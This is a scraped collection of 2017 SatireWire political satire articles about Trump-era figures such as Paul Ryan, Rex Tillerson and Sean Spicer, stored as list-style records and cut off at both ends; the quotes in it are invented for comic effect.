SON: No. FATHER: Your mother says you did. SON: And you’re going to take a woman’s word over mine? FATHER: She’s your mother! SON: Hmm… I don’t believe I know her. FATHER: Your own mother? SON: I’ve met a lot of mothers. I can’t remember all of them. FATHER: We have pictures of you together all over the house! And look here, this is a pencil holder you made for her in 5th grade. You signed the bottom, ‘I love you Mom. From Dylan’ SON: That doesn’t look like my signature. FATHER: Well, you made this five years ago. SON: If you’re going to bring up things that allegedly happened five years ago… FATHER: You didn’t steal from her five years ago! You did it today. SON: Are there any witnesses? FATHER: She’s the witness. She says she saw you. SON: I don’t recall doing that, and if I do, I don’t recall it happening in the way she describes. FATHER: And how would you describe it? SON: If it happened, it was consensual. She gave it to me. FATHER: She gave it to you. SON: Yeah. Some women like you to take from them. They act like they don’t, but… FATHER: That’s enough! Did you take her money? SON: This seems politically motivated. FATHER: What? SON: I want to go to the movies tonight, Mom doesn’t want me to go to the movies tonight, so she’s made up this story to get me in trouble. FATHER: She’s not making it up. SON: Really? Because it’s seems awfully convenient, her coming out with these accusations right before the movie starts. FATHER: About that… it’s not the only accusation. Last month, when you were babysitting your cousin, your Aunt Nancy said there was money missing from her nightstand. We didn’t want to believe it was you, but now… SON: Are you paying them? FATHER: What? SON: Are you paying these women to say these things about me? FATHER: No! Why in hell would I do that? SON: Oh I don’t know. Maybe to derail my agenda. FATHER: Your agenda? SON: My movie-going agenda. FATHER: That’s ridiculous. SON: You look down on my movie values. FATHER: No I… well, the movies you like are terrible – all blood and guns and booty-shaking and explosions. SON: Sounds like somebody doesn’t love America. FATHER: Of course I love America. SON: Are we done here? I want to catch the previews. FATHER: You’re not going anywhere. You’re grounded. SON: What for? I’ve denied it. FATHER: You don’t have to admit to something to be punished for it. SON: Um… Earth to Dad. Yes you do. FATHER: Go to your room. SON: Fine. But I’m going to see that movie eventually. FATHER: What movie is it, anyway? SON: The new Star Wars. It’s about these brave Sith patriots who want to make the Universe great again, and the whiney Jedi snowflakes who refuse to help. © 2017 SatireWire.com Related Tags: al franken, alabama senate, donald trump, doug jones, roy moore, sexual assault, sexual harassment Previous Topic: PAUL RYAN RUSHED TO HOSPITAL AFTER ERECTION LASTS MORE THAN 4 HOURS Next Topic: For White Men to Survive, We Need to Start Acting Like Prey'], ['no-topic', 'PAUL RYAN RUSHED TO HOSPITAL AFTER ERECTION LASTS MORE THAN 4 HOURS', 'WASHINGTON, D.C. (SatireWire.com) — House Speaker Paul Ryan was rushed to a hospital today after negotiations over House and Senate tax reform bills caused him to experience an erection lasting longer than four hours. Ryan, the Wisconsin Republican noted as a tax and budget wonk, was taken to Bethesda Naval Hospital, where officials described his condition as, “too stable, if you know what I mean.” Members of the House and Senate were meeting to work differences between two versions of tax reform when the Speaker’s priapic episode became obvious. Though not finalized, the legislation will cut corporate taxes, alter individual tax brackets, and add $1 trillion to the national debt. An ambulance was called to the Hart Office Building at 4:50 p.m., where finance committee members had been meeting for seven hours. According to Sen. Chuck Grassley (R-IA), the discussions had just touched on deductions for pass-through entities when the Speaker suddenly rose from his chair. “That’s the thing, he rose from his chair, but he was still sitting, if you catch my drift,” said Grassley. ““His face was flush and his teeth were bared and the veins in his neck were bulging. We said, ‘Paul, how long have you been like that?’ and he just started whimpering, ‘Help me.’” Colleagues attempted to come to his aid by changing the subject to golf, but Ryan immediately starting citing section 501(c)(6) of the tax code that gives the PGA Tour tax exempt status, and the problem grew. Desperate, one staffer called the White House to ask if President Donald Trump could sign the bill immediately, hoping the climax would bring Ryan down. But others pointed out the legislation wasn’t ready. “In retrospect, I should not have said, ‘Wait, we haven’t begun reconciling the deduction on the repatriation of offshore income,” said House Finance Committee Chairman Jeb Hensarling (R-TX). “That just made Paul even more… enthusiastic.” Witnesses said Ryan eventually curled up in a slightly oblong ball on the floor and kept mumbling, ‘God bless America, God bless America.’ “I think that’s his safe word or something,” Hensarling said. A Ryan spokesman said the Congressman should be back at work in a few days, but cautioned people not to mention tax legislation around the Speaker. “Paul gets off on numbers and taxes like nobody else, and these last few weeks, with his pet legislation finally coming to fruition, he’s been like a kid in a candy shop,” said Jonathan Burks, Ryan’s Chief of Staff. “Although if he were in a candy shop, you’d probably want to usher him out the back as it wouldn’t be good for the children to see.” © 2017 SatireWire.com Related Tags: paul ryan, repatriation, tax cuts, Tax reform, tax reform bill 2017 Previous Topic: CELEBRITY SIGHTING: REX TILLERSON SPOTTED IN ASIA! Next Topic: TEENAGER USES ROY MOORE DEFENSE'], ['no-topic', 'CELEBRITY SIGHTING: REX TILLERSON SPOTTED IN ASIA!', 'TOKYO (SatireWire.com) – Reclusive CEO-turned-Secretary-of-State Rex Tillerson has been spotted in Asia cozying up with Japanese leaders, according to close friends who say the oil industry heartthrob is there for super-secret meetings. Quel mystérieux! Asked what the ascetic silver fox is doing in Japan, and who he’s visiting with, and if in fact he’s even in the Far East, the U.S. State Department issued a flirty, “No comment!” so you have to assume it’s true! One thing we do know is the elusive 64-year-old – who turns the big 6-5 next week, ladies! – arrived in a small plane and refused to take the State Department press corps with him, which confidantes say is no surprise. The Russian tabloid media dubbed Putin and Tillerson "PutRex" after the pair were spotted together in Moscow in 2013. “Rex really isn’t comfortable in the spotlight,” says a childhood pal. “Or being photographed or spoken about or explaining himself to anyone.” That’s just one of the things that makes the isolated envoy so alluring, offers another inside source. “He is such a hot mystery,” the source says. “Everyone wants to know, who is Rex Tillerson? What does he do? Why is he Secretary of State? You know they say, ‘You always want what you can’t have,’ and Rex really doesn’t given you anything. “Anything at all,” the source adds. So what’s up with Asia? Rumor has it the former head of Exxon will be getting his dialogue on with Japanese Prime Minister Shinzo Abe, or ‘T-Abe’ as some are calling the pair. And look out Beijing – sexy Rexy will be there Saturday, according to someone who has access to the Secretary’s agenda and therefore is not in the media. Confidantes say the diplomatic Don Juan and Chinese President Xi Jinping (already dubbed RexXi) will be talking about North Korea, trade, and some islands in the South China sea. Does that mean the power-duo will be buying an oceanfront rendezvous-with-a-view together? We asked the State Department, and all they would say was, “No comment!” So you have to assume it’s true! © 2017 SatireWire.com Previous Topic: CANCER ENDORSES REPUBLICAN HEALTHCARE PLAN Next Topic: PAUL RYAN RUSHED TO HOSPITAL AFTER ERECTION LASTS MORE THAN 4 HOURS'], ['no-topic', 'CANCER ENDORSES REPUBLICAN HEALTHCARE PLAN', 'WASHINGTON, D.C. (SatireWire.com) – Republicans picked up a major endorsement today as the world’s leading patient-based health related entity – Cancer – came out in favor of their proposed Obamacare replacement plan. “Speaking on behalf of the many, many millions of patients for whom I am responsible, the American Health Care Act is a vast improvement on Obamacare,” Cancer said in a written statement. “Several aspects of this legislation, such as eliminating the individual mandate, cutting Medicaid for the states, and increasing costs for the poor, sick and old, represent great strides forward on the road back to where things used to be before Obama got involved.” The statement conceded the bill is “by no means perfect,” but urged Republican hardliners to vote in favor. “To my friends in the Freedom Caucus – and my special friends the Koch brothers – I realize this legislation does not have everything we both want,” Cancer said. “To you, it still allows people to get government support for healthcare. To me, it still allows people to get healthcare. But I urge you to join me in supporting AHCA, as I believe this bill takes a giant and much-needed step in our direction by eventually sending many more people in my direction.” The surprise endorsement was announced Thursday, and without much fanfare, during a briefing by White House Press Secretary Sean Spicer: SPICER: Good morning. One update on the American Health Care Act. Support for this landmark legislation continues to grow. It now has the backing of House and Senate Republican leadership, the U.S. Chamber of Commerce, Health and Human Services, Cancer, Grover Nordquist, and medical device manufacturers. Questions? CNN: Sean, what’s the next… wait, did you just say the bill has the support of ‘Cancer?’ SPICER: Yes. And the Chamber of Commerce and medical device manufacturers. AP: Right, but Cancer? You don’t mean the American Cancer Society? SPICER: Um… no. No, I believe they’re opposed. I can get back to you on that. AP: No, that’s all right. So… Cancer endorses this bill. SPICER: Yes. The President strongly believes that everyone should have a seat at the table and he has been negotiating with a very diverse group of interested parties, including Cancer, which said it particularly likes dropping the individual mandate. NYT: Because… fewer people will end up with health coverage? SPICER: I believe that was Cancer’s primary interest. When it saw that provision, it was very excited. Spontaneously self-replicated. Literally went from a stage 3 to a stage 4. WSJ: Sean, why would the White House want Cancer’s support when the bill is opposed by hospitals, doctors and patient groups like the AARP? SPICER: With all due respect to them, Cancer is by far the largest patient-oriented entity on the planet. Every single day it’s in direct contact with more people than either the AMA or AARP, and the President appreciates this wide base of support. FOX: But shouldn’t the President be against Cancer? SPICER: No. Cancer has said some very complimentary things about the President, so the President feels obliged to be complimentary in return. As he told me just last night, ‘Wouldn’t it be great if we could get along with Cancer?’ FOX: But Cancer is a killer. SPICER: Hey, there are a lot of killers. You think our country is so innocent? Cancer could not be reached for comment as no one really wanted to try. © 2017 SatireWire.com Related Tags: ahca, obamacare, republican health care, sean spicer, trumpcare Previous Topic: U.S. FISH & WILDLIFE SERIOUSLY CONSIDERING ABUSING ITS POWER Next Topic: CELEBRITY SIGHTING: REX TILLERSON SPOTTED IN ASIA!'], ['no-topic', 'U.S. FISH & WILDLIFE SERIOUSLY CONSIDERING ABUSING ITS POWER', 'WASHINGTON, D.C. (SatireWire.com) – Overlooked as scandals swirl around the White House, Justice Department, CIA, EPA, and FBI, the U.S. Fish & Wildlife Service said today it could get up to some pretty abusive shit if that’s what it takes to get a little attention around here. “People don’t think of Fish & Wildlife as being ripe for overreach and corruption, but we can be a real hotbed of intrigue,” insisted regional director Brian Wills-Perry. “We’ve never been asked to hack into phones or doctor crowd photos or attack Yemen, but we could do other stuff. You give me a drone and I can blow a hole in a rainbow trout, no problem. “I wouldn’t, of course,” he quickly added. “That would be horrible. Animals are our friends. But we could, is what I’m saying, so how about a little media scrutiny for the old U.S. FS&W?” As part of the Interior Department, the Wildlife Service faces steep budget cuts under the Trump administration, reductions that have been all but ignored by the press, which is focused on scandals at larger agencies. Susan Kaldek, assistant director of the migratory birds division, said the media is really missing a big story by discounting the department’s controversial work on surveillance. “I’ll bet you didn’t know, because reporters weren’t doing their jobs, that just last year we searched a marmoset den without a warrant,” Kaldek admitted. “And every fall and spring, we capture thousands of foreign nationals. Specifically Canadian Geese. And when I say ‘captured’ I mean in photos. God they’re majestic… “But the point is, you think our borders are porous in terms of people getting through? Look up, my friend. No wall is going to keep out a great blue heron,” she added. Fish and Aquatic Conservation director Jim Freeman, meanwhile, said the Wildlife Service is not above a security leak. “So the FBI leaks Russian contacts and the CIA leaks entire conversations, but what if I told you we’re working on a follow-up to our 2010 report, ‘Early Life Stage Mortality Rates of Lake Sturgeon in the Peshtigo River’ in Wisconsin?” he said. “And what if that ‘accidentally’ got into the hands of Field & Stream a few weeks early? Jake Tapper will be all over my ass.” Late this afternoon, with the media still focused elsewhere, Freeman was seen carrying a snowy egret, a small staple gun, and a migratory tag out onto the National Mall. “I’ll do it! I’ll incorrectly tag this egret in a sensitive part of its brilliant white plumage!” shouted Freeman, tears running down his face. “He will, he’s crazy!” Freeman added, speaking out of the side of his mouth in hopes onlookers would think the egret said it. © 2017 SatireWire.com Related Tags: canadian geese, great blue heron, interior department, jake tapper, snowy egret, us fish and wildlife Previous Topic: SHEEPISH APPLE ADMITS IT CHARGES CHAFFETZ $10K/YR FOR HIS IPHONE Next Topic: CANCER ENDORSES REPUBLICAN HEALTHCARE PLAN'], ['no-topic', 'SHEEPISH APPLE ADMITS IT CHARGES CHAFFETZ $10K/YR FOR HIS IPHONE', '“Maybe rather than getting that new iPhone that they just love … maybe they should invest in their own health care.” – Rep. Jason Chaffetz, R-UT CUPERTINO, CA (SatireWire.com) — A contrite Apple Inc. today admitted it was to blame for the suggestion by Rep. Jason Chaffetz (R-UT) that poor Americans have to choose between buying health care and an iPhone, theorizing that the Congressman only made that comparison because the company has been charging him $10,000 per year for his mobile. “When I heard Chaffetz say that instead of getting an iPhone, poor people should invest in their own health care, I thought that was ridiculous and heartless,’” said Apple CEO Tim Cook. “I mean, the average American spends about $10,000 a year on health care, while an iPhone costs $650. Makes no sense.” But then, Cook said, he checked Apple’s database and discovered the problem. “It turns out we charged Congressman Chaffetz $10,000 for his last iPhone,” he said. “And we tell him he needs a new one every year. And in fact one year we told him his phone had a catastrophic failure; just the emergency Genius Bar service set him back $12,000. Oh, and he’s still paying off the $129,000 we charged him for mobile rehab. So to him, iPhones and health care cost about the same. “That must be why he used that example,” Cook added. “Otherwise, he’d be an idiot.” Cook apologized for overcharging Chaffetz and promised to set things right by adopting the Republican’s own approach to affordable health care. “We will immediately stop the discrepancy by selling all new iPhones for $10,000,” he said. © 2017 SatireWire.com Related Tags: apple, chaffetz, gop, iphone, obamacare, tim cook Previous Topic: WHAT TO DO, AMERICA, IF AN ALIEN SAYS, ‘TAKE ME TO YOUR LEADER’ Next Topic: U.S. FISH & WILDLIFE SERIOUSLY CONSIDERING ABUSING ITS POWER'], ['no-topic', 'WHAT TO DO, AMERICA, IF AN ALIEN SAYS, ‘TAKE ME TO YOUR LEADER’', '(SatireWire.com) - You, America, have a problem, and that now means the entire world has a problem, for if extraterrestrials land in the United States and demand that you take them to your leader, you would have to take them to meet Donald J. Trump. On behalf of the rest of the world, I would like to point out that this is, as the President himself might put it, SUCH A BAD IDEA. So what to do should the situation arise? Here are some handy tips. Tip #1 – Stall Talk about anything you can think of: their trip, their families, the weather. ‘Boy, that hurricane on Jupiter? Ruined my vacation plans.’ Complement their appendages or exophthalmic eyes or exotic coloration. Encourage them to play some of the cool apps on your phone. ‘Hey, Space Invaders! You’d like this one!’ Basically, say whatever you can to keep a meeting from happening because we would all prefer to keep the number of planets in our solar system at eight. Tip # 2 – Suggest they meet with someone else A scientist. A historian. Any random fourth grader. If they insist on seeing a member of your government, recommend Alexander Hamilton. Explain they’ll have to wait two years to get to see him. Tip #3 – Ask to be taken to HIS leader This will serve to stall them further, most likely by confounding them. ALIEN: Take me to your leader. YOU: No, you take me to YOUR leader. ALIEN: Wait… what? Be aware: they might accept your offer and take you to some far-off world where the leader is a dysfunctional, megalomaniacal bawbag. At least it will seem familiar. Tip #4 – Employ bureaucratic measures Entangle them in red tape. Do they have an appointment with the President? Can they state in writing why they want a meeting? Have they recently passed through Syria, Yemen, Iran, Somalia, Libya or Sudan? Now, depending on the size, shape and demeanor of the visitors, you may be too intimidated to ask these questions. Should such doubts descend, it’s a good idea to keep on your person a small printed card listing the two likely outcomes should powerful and intelligent extraterrestrials actually meet President Trump: Everyone you know will die. Everything will be fine. For maybe 20 minutes. And then they’ll figure him out and everyone you know will die. Tip #5 – Plead ignorance Argue that you can’t help because you have no idea how to get to the White House. This won’t be a lie, since you have no idea how Trump got to the White House either. Tip #6 – Volunteer to be anally probed I don’t know, aliens seem to like this. Worth a try. Do it for humanity’s sake. Tip #7 – Sneeze They might catch a cold, and as we know, this microbial attack could kill them off. Now I know, “shoot first” is just the kind of rash, militaristic American attitude that so often gets Earth in trouble in science fiction. But remember, this isn’t science fiction, and if they want to meet your leader because they assume he’s the best you have, they’re definitely going to be disabused of that notion once they meet him. So you might as well strike first. * Alternative “shoot first” strategy: Go to YouTube. Pull up Mariah Carey’s ‘Rockin’ New Year’s Eve’ performance. Hit play. No way their immune system is prepared for that. Tip #8 – Insist it’s ‘Opposite Day’ Explain that whatever the President says, he means the opposite because, hey, you just realized, it’s Opposite Day! What a coincidence! In theory, this should lead them to conclude that the President is an amazing, benevolent genius. Tip #9 – Lower expectations If the meeting looks like it’s going to happen anyway, try to play down how any potential discussions would go. Points you should make: You won’t understand him. He uses words like ‘bigly,’ ‘braggadocios,’ and ‘unpresidented.’ Have you ever seen his TV show? No? Then forget it. If he finds that out he’ll just sulk the whole time. Honestly, he won’t even pay attention if you don’t include pictures. Tip #10 – Dissemble When all else fails, dissemble honestly. Point out the “irregular” nature of your current leader’s position, i.e., he didn’t technically get the most support, and most Americans don’t trust him to spell his name correctly. Beyond that, explain that humans really don’t have “a” leader, per se, and besides, what “leader” means is really quite subjective. Add that you usually elect a president who is more… presidential, but this last election you just sort of went for caustic and famous, and really they shouldn’t base their opinions on one person because your leader isn’t indicative of who you are or what you stand for as a people and if at any point during this line of reasoning the aliens look away, you should probably just make a run for it. © 2017 SatireWire.com Previous Topic: NEWLY DISCOVERED PLANETS SEEM TO BE UNHAPPY WE FOUND THEM Next Topic: SHEEPISH APPLE ADMITS IT CHARGES CHAFFETZ $10K/YR FOR HIS IPHONE'], ['no-topic', 'NEWLY DISCOVERED PLANETS SEEM TO BE UNHAPPY WE FOUND THEM', 'LIEGE, BELGIUM (SatireWire.com) — In an astounding development, scientists today said the seven newly discovered exoplanets in a nearby constellation seem to be aware that we found them, and are not very happy about it. At some point in the last few days, massive, etched symbols have appeared on the surfaces of the Earth-sized planets that, together, spell out: “Earth sux.” Astronomer Michael Gillon of the STAR Institute in Belgium was among the first to see the symbols. “We were excited by the initial discovery of the planets, but this morning, when my assistant told me actual letters had appeared, I was beyond excited,” Gillon said. “Until I saw them. Then I thought, ‘Oh. That’s not very nice.’” Added MIT scientist Julien De Wit: “This is of course incredible news if you consider we now know there is life elsewhere in the universe, and if you don’t consider the part where that life basically just trolled us.” The planets, in the Trappist-1 star system, had already set the astronomical world buzzing, as their size and surface temperatures indicated they could support water and life. How the symbols came to be, and what they might mean, has researchers confounded. “It’s possible they are natural formations that were there all along but were only detected when the planets’ rotations were just right,” said South African astrophysicist Enrico Kotze. “But frankly, that seems unlikely. I can’t help but think that they’re attempting to communicate with us in a way that says, ‘We would very much like it if you didn’t attempt to communicate with us.’” Given the Trappist-1 system’s distance, the mere fact that we can suddenly see the symbols also has scientists puzzled. “That constellation is 39 million light years away, so technically, that message was created 39 million years ago and we’re just now seeing it,” said Gillon. “But – and I don’t know how they did it – I can’t help but feel it’s newer than that. There weren’t people here 39 million years ago, and that message is very personal.” According to De Wit, every scientist on the project has come to an agreement on one aspect of the discovery. “After contemplating the considerable engineering and logistical talent of transforming the surface of multiple planets into these giant symbols, we have decided they’re stupid planets and we never liked them anyway,” he said. © 2017 SatireWire.com Previous Topic: TRUMP VOWS NOT TO DEPORT ILLEGALS WHO RATE 8+ Next Topic: WHAT TO DO, AMERICA, IF AN ALIEN SAYS, ‘TAKE ME TO YOUR LEADER’'], ['no-topic', 'TRUMP VOWS NOT TO DEPORT ILLEGALS WHO RATE 8+', 'WASHINGTON, D.C. (SatireWire.com) – In what it called a “show of great compassion,” the Trump administration today announced it will allow all female illegal immigrants to stay in the country if they rate an 8 or higher. Critics blasted the idea as blatantly sexist, and pointed out Trump had once promised to only deport illegals with criminal records. Press Secretary Sean Spicer, however, said the new order is “entirely consistent” with earlier promises as, “Mr. Trump believes that being anything less than an 8 is a crime.” Reading a statement by the President, Spicer said women who qualify for the new “F8+” visa will be allowed to remain in the United States if they meet three criteria: “They have to respect our laws, they have to learn English, and they have to keep their weight down,” he said. According to immigration scholars, about half the roughly 11 million illegal immigrants in America are female. Approximately 2.2 million of those women are between the ages of 17 and 34, specified by Trump as “the only age group capable of attaining an 8 or better,” Spicer said. “Through the F8+ program, the President shows his great compassion,” said Spicer. “He will not turn a blind eye toward those who come here seeking a better life, but will in fact stare at them, at close range and from several angles, in both formal dress and swimwear.” In related news, Spicer said the President will hold a get-to-know-you session with female members of Congress in the form of a, “Ms. Congresswoman Pageant.” © 2017 SatireWire.com Previous Topic: GOP APPROVES ABORTION IN DEMOCRATIC DISTRICTS Next Topic: NEWLY DISCOVERED PLANETS SEEM TO BE UNHAPPY WE FOUND THEM'], ['no-topic', 'GOP APPROVES ABORTION IN DEMOCRATIC DISTRICTS', 'WASHINGTON, D.C. (SatireWire.com) — In what they called a historic compromise, Republicans in Congress today said they will no longer oppose abortion in cases where the mother lives in a Democratic district. Republicans are also considering a death-penalty bill based on party affiliation. Democrats immediately protested, calling the Senate bill cynical, calculated and malicious. Republicans, meanwhile, claimed they were surprised by the opposition. “I don’t see the problem. The left claims its pro-choice and we’re saying, ‘Fine, choose,’” said Senate Majority Leader Mitch McConnell, (R-KY). “The last thing this country needs is an unwanted Democrat.” “It’s really a liberal compromise on our part,” added House Speaker Paul Ryan (R-WI). “Even though our base staunchly opposes any cooperation with the other side, we are crossing the aisle and saying, ‘Go ahead. Kill yourselves.’ “In fact, some of our members suggested we make abortions mandatory in Democratic districts,” Ryan said. “Honestly, we’re going out of our way here.” On the Senate floor, Democrats said the sudden about-face on abortion is another cynical attempt by the GOP to reign in the opposition. “State-by-state and law-by-law, they’re attacking democracy,” said Minority Leader Chuck Schumer, (D-NY). “They’re restricting immigration, they’re making it more difficult to vote, and now they’re trying to literally create fewer Democrats. You cannot claim in one breath that all life is sacred, and in the next breath say some lives are less sacred.” “Yes we can. Just did,” McConnell responded. © 2017 SatireWire.com Previous Topic: CONGRESSIONAL COAT-CHECK NOW ALSO ACCEPTING BALLS Next Topic: TRUMP VOWS NOT TO DEPORT ILLEGALS WHO RATE 8+'], ['no-topic', 'CONGRESSIONAL COAT-CHECK NOW ALSO ACCEPTING BALLS', "WASHINGTON, D.C. (SatireWire.com) – The congressional cloakroom, where representatives and senators traditionally check their hats and coats, will also now accept congressmen’s balls. The move, Republican legislators said, was both pragmatic and good for the party. “Having our coats on gets in the way when we’re at work, and so, it turns out, does having any balls,” said Rep. Jason Chaffetz (R-FL). “When President Trump says or does something undemocratic, unconstitutional or morally offensive, I, having no balls, will now not feel compelled to speak out against it.” Sen. Rand Paul (R-KY) agreed. “I find it very freeing,” Paul said. “Like Russian election influence. If I were on the Senate floor, and in possession of my balls, I would say that we should look into it. I would say it’s deeply troubling and no matter which party you represent, the security of America should come first. But without balls, I simply say what I, in fact, did say, which was: ‘I just don’t think it’s useful to be doing investigation after investigation, particularly of your own party.’ “It would take balls to say anything else, and mine are… number 198,” Paul added, holding up a paper chit with a number on it. WH advisor Steve Bannon wearing House Speaker Paul Ryan's balls. Dogmatic orchiectomy – the condition of not having the balls to stand up for your convictions – is a longstanding tradition on Capitol Hill, as legislators from both sides of the aisle have chosen to abandon testicular fortitude when working with a president of their own party. Under FDR, Democrats ignored Jewish immigrants before World War II, and under Bill Clinton, they looked the other way on his infidelities. Republicans under Ronald Reagan pretended Iran-Contra wasn’t important, and under George W. Bush refused to speak out against a war begun under false pretenses. The condition is normally temporary, but this year is unprecedented. Almost all 264 male Republicans in Congress have decided to check their balls every day, said cloakroom steward Anderson Huth. The only exceptions, he said, are senators John McCain (R-AZ) and Sen. Ben Sasse (R-NE), who only check them occasionally, Sen. Mitch McConnell (R-KY) who never had any, and House Speaker Paul Ryan, whose balls now hang on a gold chain around the neck of Trump advisor Steve Bannon. To accommodate the 260 sets of testicles, Huth said the cloakroom had to be expanded, an expense to be paid for by charging $1 per testicle per day. “You would think Congress would make the American people pay for it by slipping the construction charge into an appropriations bill but, ironically, they now don’t have the balls to do that,” Huth said. At a Republican caucus over the weekend, Speaker Ryan told his colleagues that when Congress reconvenes this week, they all need to be prepared to not speak out. “When the doors open on Tuesday, let’s all be ready to take off our hats and our coats and our balls and get to work for… ha, I was going to say, ‘for the American people,’ but it would take balls for me to say that, and mine are unavailable,” he said. © 2017 SatireWire.com Related Tags: congress, donald trump, Jason Chaffetz, no balls, paul ryan, steve bannon Previous Topic: FENCE JUMPER ARRESTED TRYING TO BREAK OUT OF WHITE HOUSE Next Topic: GOP APPROVES ABORTION IN DEMOCRATIC DISTRICTS"], ['no-topic', 'FENCE JUMPER ARRESTED TRYING TO BREAK OUT OF WHITE HOUSE', 'WASHINGTON, D.C. (SatireWire.com) — The U.S. Secret Service today apprehended a man they said was attempting to scale the White House fence in order to break out. Officials refused to name the extruder, but witnesses identified the man as Reinhold Richard “Reince” Priebus, 44, who serves as President Donald Trump’s chief of staff. After his apprehension, the suspect vehemently denied he was trying to leave, according to police. Secret Service spokesman Capt. Mark Leigh said the suspect repeatedly denied attempting to escape and intermittently laughed “at such a volume and tone” that officers became concerned with his mental state. “At first the suspect would only mumble, ‘Flynn’s the lucky one,’ over and over,” said Leigh. “After calming down, he then said, and I quote, ‘Why would I want to leave? We’re making America… we’re making America… oh God, I forgot what I’m supposed to say! Please, I have a wife and children.” “At this point the suspect fainted,” Leigh added. According to the report, the fence-jumper was eventually taken back to a West Wing office and put under the direct care of senior Trump advisor Steve Bannon, who allegedly promised to treat Preibus, “just like he would any American.” Police confirmed that this statement, “caused the suspect to wet his pants.” © 2017 SatireWire.com Related Tags: donald trump, reince priebus, white house fence jumper Previous Topic: SATIREWIRE UNVEILS ‘TRUMP TRANSPOSED’ ON TWITTER Next Topic: CONGRESSIONAL COAT-CHECK NOW ALSO ACCEPTING BALLS'], ['no-topic', 'SATIREWIRE UNVEILS ‘TRUMP TRANSPOSED’ ON TWITTER', 'Exact anagrams of the daily tweets of Mr. Sad Sudden Trout Nipple… er… U.S. President Donald Trump. Some recent examples from twitter.com/TrumpTransposed: *Yes, they’re really accurate to the letter (although punctuation marks may vary). Follow if you’re on Twitter at twitter.com/TrumpTransposed © 2017 SatireWire.com and @TrumpTransposed Related Tags: donald trump, president trump, trump anagram Previous Topic: GROUNDHOG SEES HITLER’S SHADOW Next Topic: FENCE JUMPER ARRESTED TRYING TO BREAK OUT OF WHITE HOUSE'], ['no-topic', 'GROUNDHOG SEES HITLER’S SHADOW', 'PUNXSUTAWNEY, PA (SatireWire.com) – In what many are taking as a bad omen, famed prognosticating groundhog Punxsutawney Phil emerged from his hole this morning and saw Adolph Hitler’s shadow. “This is probably not good sign,” remarked Phil’s handlers, moments after the groundhog surfaced. Since the annual Groundhog Day tradition began in 1898, Phil’s appearance has always focused on predicting the end of winter, leaving observers unsure of how to interpret this year’s event. “Phil is meteorological, not political, so this is a big change,” noted Bill Deeley, president of the group that oversees the festivities. “It makes you wonder if he’s trying to warn us about something.” “Usually, if he sees his shadow, we say it’s six more weeks of winter,” added Punxsutawney Mayor Richard Alexander. “But technically, he didn’t see his own shadow, so… maybe it means an early Spring? That’ll be nice. For whoever is left to see it. Apparently.” Meteorologists said that while interesting, the furry marmot’s annual emergence has little scientific meaning and no actual bearing on the weather. However, they pointed out, this year’s shadow didn’t seem to have anything to do with weather. “They say animals sense danger before humans do, so maybe Phil senses something?” said Ben Friedman, acting director of the U.S. National Oceanic and Atmospheric Administration. “I don’t know. I’m just trying to think of what’s different about this year than any year before. It’s almost like he’s trying to tell us that some person out there is a threat to our… hang on… oh, sorry, I’d like to say more but I’ve just been told by the White House that I can’t.” © 2017 SatireWire.com Previous Topic: HEY HUMANS, IT’S NOT SO FUNNY TO LOOK LIKE THIS FOR REAL, IS IT? Next Topic: SATIREWIRE UNVEILS ‘TRUMP TRANSPOSED’ ON TWITTER'], ['no-topic', 'HEY HUMANS, IT’S NOT SO FUNNY TO LOOK LIKE THIS FOR REAL, IS IT?', 'By A. Deer Oh yes, I’m enjoying this. I really am. For as long as I can remember, humans have said things like, ‘Oh, look at that deer staring wide-eyed into the headlights. He’s so shocked he doesn’t know what to do! What an idiot!’ Well, I’ve seen your faces since your new president took office, and I can only say, ‘How do you like it now, huh? Not so funny, is it?’ Every day you watch this guy come at you all reckless and insane, and you are freaking out. I mean, the looks! Humans-in-headlights! Aaaaaggghhhh!!!! Hilarious. What, you disagree? Well that’s strange, because you find it funny when you’re talking about deer. I mean, you’re in a 4,000-pound car going 60 miles an hour, you come out of nowhere and head right for us, we look surprised – of course we’re gonna look surprised – and you find that amusing. You use that phrase, “deer-in-headlights,” to refer to each other AS A JOKE. And one of the things that apparently shocks you most about this president is how he lacks empathy? Gee, I wonder where he gets it from? The same place he gets his evil from, I would imagine. Yes, that’s right, I said all of you are evil. I used to argue about that with my sister. A couple of summers ago, we were foraging in the woods and we see these humans – mostly adult males, and we know to steer clear. But then there’s this young one, couldn’t have been more than nine summers old, and my sister was like, ‘Oh c’mon, he’s adorable. Look at him.’ And then he shot her. You deserve every bad thing that happens to you. And now that bad things are happening, it’s not a joke, is it? You are literally in the headlights of a monster truck barreling down the highway driven by a creepy old orange guy in blinders who’s tweeting instead of looking at the road. Look out! And chill out. You’re not actually going to get hit. You’re not going to actually going to die. Probably. Whereas we get hit about 1.5 million times a year in this country, and yeah, we tend to literally die. But by God, that doesn’t stop you from looking just like we do anyway. And you call us doe-eyed and fragile. Pathetic. No… SAD! And oh yes, I realize this Trump guy won’t be good for us, either. We hear snippets of conversation in the woods – from people who are TRYING TO SHOOT US, did I mention that? – and we get that he’ll likely do some bad stuff for the environment. He’ll probably increase speed limits and commercialize national parks and reduce chemical regulations and do lots of things that mean more of us will die. But to see that look on your faces? Oh yeah, it’s worth it. © 2017 SatireWire.com Previous Topic: WHITE HOUSE GUARDS TOLD TO STOP ASKING VISITORS ‘ARE YOU SURE YOU WANNA GO IN THERE?’ Next Topic: GROUNDHOG SEES HITLER’S SHADOW'], ['no-topic', 'WHITE HOUSE GUARDS TOLD TO STOP ASKING VISITORS ‘ARE YOU SURE YOU WANNA GO IN THERE?’', "White House police say they just want people to consider it's maybe not the best time right now. WASHINGTON, D.C. (SatireWire.com) — After repeated warnings, Secret Service police manning the White House entrances have been ordered to stop asking visitors if they’re absolutely sure they want to go inside. According to recent visitors, gate officers have been quietly asking questions such as, “You can go in, but are you really sure you want to?” “Have you thought this through? Because it’s not the healthiest environment right now,” and, “Tell you what, you wanna walk away, I won’t tell anyone you were even here. Save the embarrassment.” The White House issued a terse statement calling the questions unprofessional and accusing agents of sewing doubt. However, several guards, who have not been identified for security purposes, defended the practice, which began just days after President Trump moved into the White House. “We check to make sure visitors are approved, and we do let them in – I’m just not sure why they’d want to,” said an agent at the southeast gate. “It’s creepy in there. That’s what I hear. Me, I stay outside.” “I tell White House visitors the same thing I tell my kids,” explained a northwest gate officer. “I remind them that what they do and who they associate with is a reflection on their family and their community. If people see you hanging around in the White House, they’re going to make assumptions you may not like.” The officers also warn visitors not to take selfies inside and post them on social media. “Oh yeah, that’s a classic mistake,” said another guard. “That stuff lives online forever and it will come back to bite you.” The issue became public after a heated confrontation at the southeast entrance – witnessed by reporters – between a Secret Service officer and deputy White 